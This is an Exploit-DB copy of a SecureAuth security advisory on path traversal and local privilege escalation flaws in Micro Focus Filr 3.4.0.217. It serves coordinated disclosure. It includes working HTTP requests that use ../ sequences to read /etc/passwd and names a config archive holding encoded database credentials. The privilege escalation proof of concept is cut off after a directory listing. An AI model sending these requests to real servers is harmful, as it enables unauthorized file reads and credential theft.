Exploit-DB #46450
Description: Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation
Type: webapps
Platform: linux
Date: 2019-02-22
Author: SecureAuth

Exploit:
SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/

Micro Focus Filr Multiple Vulnerabilities

1. *Advisory Information*

Title: Micro Focus Filr Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0001
Advisory URL: https://www.secureauth.com/labs/advisories/micro-focus-filr-multiple-vulnerabilities
Date published: 2019-02-20
Date of last update: 2019-02-20
Vendors contacted: Micro Focus
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Path traversal [CWE-22], Permissions, Privileges, and Access
Control [CWE-264]
Impact: Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-3474, CVE-2019-3475

3. *Vulnerability Description*

Novell (now part of Micro Focus [1]) website states that:
Micro Focus Filr [2] provides file access and sharing, and lets users
access their home directories and network folders from desktops, mobile
devices, and the Web. Users can also synchronize their files to their PC
or Mac. Changes that they make to downloaded copies are kept in sync
with the originals on their network file servers. And finally, users can
also share files internally and externally, and those with the share can
collaborate with each other by commenting on the files.

A vulnerability was found in the Micro Focus Filr Appliance, which would
allow an attacker with regular user access to read arbitrary files of
the filesystem. Furthermore, a vulnerability in the famtd daemon could
allow a local attacker to elevate privileges.

4. *Vulnerable Packages*

. Micro Focus Filr 3.4.0.217.
. Older versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Micro Focus released Filr 3.0 Security Update 6 that addresses the
reported issues: https://download.novell.com/Download?buildid=nZUCSDkvpxk~

Also, Micro Focus published the following Security Notes:

. https://support.microfocus.com/kb/doc.php?id=7023726
. https://support.microfocus.com/kb/doc.php?id=7023727

6. *Credits*

These vulnerabilities were discovered and researched by Matias Choren
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Path Traversal*

[CVE-2019-3474]
The 'filename' parameter of the '/ssf/f/viewFile' endpoint is vulnerable
to Path Traversal attacks. An authenticated, low-privileged user may be
able to abuse this functionality in order to read arbitrary files on the
filesystem.

Proof of Concept:


1. As an authenticated user, upload a sample PDF file in the 'My Files'
section.
2. After the upload finishes, click on the small arrow next to the file
-> 'View Details'.
3. The browser will issue a few requests to the web application, one of
them being the one used for displaying the thumbnail of the file we've
just uploaded. This request has the following structure:

/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=t[PII_REDACTED][PII_REDACTED][PII_REDACTED]90001.jpg
-----/

4. If the 'viewType' parameter is set to 'image', as in this case, we
can escape the current directory and include arbitrary files, as long as
they are readable by the 'wwwrun' user (the user Apache Tomcat is
currently running as). For example, we could read the '/etc/passwd' file:

/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 10.2.45.32:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531
Connection: close
-----/

/-----
HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-UA-Compatible: IE=Edge
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Strict-Transport-Security: max-age=0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: image/jpeg
Date: Mon, 21 Jan 2019 14:53:37 GMT
Connection: close
Server: Filr
Content-Length: 1506

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash

<...>
-----/

5. Also, an interesting file to look for would be
'/vastorage/conf/vaconfig.zip'. This zip file contains a bunch of
different configuration files, including 'mysql-liquibase.properties'
which, among other things, defines connection parameters such as the
username and password (base64 encoded) for the MySQL database:

/-----
referencePassword==?UTF-8?B?Zmlscg==?=
referenceUrl=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
url=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
password==?UTF-8?B?Zmlscg==?=
driver=com.mysql.jdbc.Driver
referenceUsername=filr
referenceDriver=com.mysql.jdbc.Driver
username=filr
-----/

7.2. *Local Privilege Escalation*

[CVE-2019-3475]
As per the description: 'novell-famtd provide CIFS & NCP file access
support for Filr server to request and respond to HTTP request coming
from Filr Client/ Browser'. This daemon runs during startup and can be
abused to elevate privileges on a Filr appliance.

Proof of Concept:

1. The 'famtd' binary located at '/opt/novell/filr/bin/' and its
containing folder are owned by the 'wwwrun' user, as can be seen next:

/-----
wwwrun@filr:/opt/novell/filr/bin> ls -lha
total 196K
drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 .
drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 ..
-rwxr-x--- 1 wwwrun www  23K feb  8  2017 famtconfig
-rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd
-rwxr-x--- 1 wwwrun www  905 feb  8  2017 famt_log_config.sh
-rwxr-x--- 1 wwwrun www  31K jun 21  2018 kablink-teaming-tools.jar
wwwrun@filr:/opt/novell/filr/bin>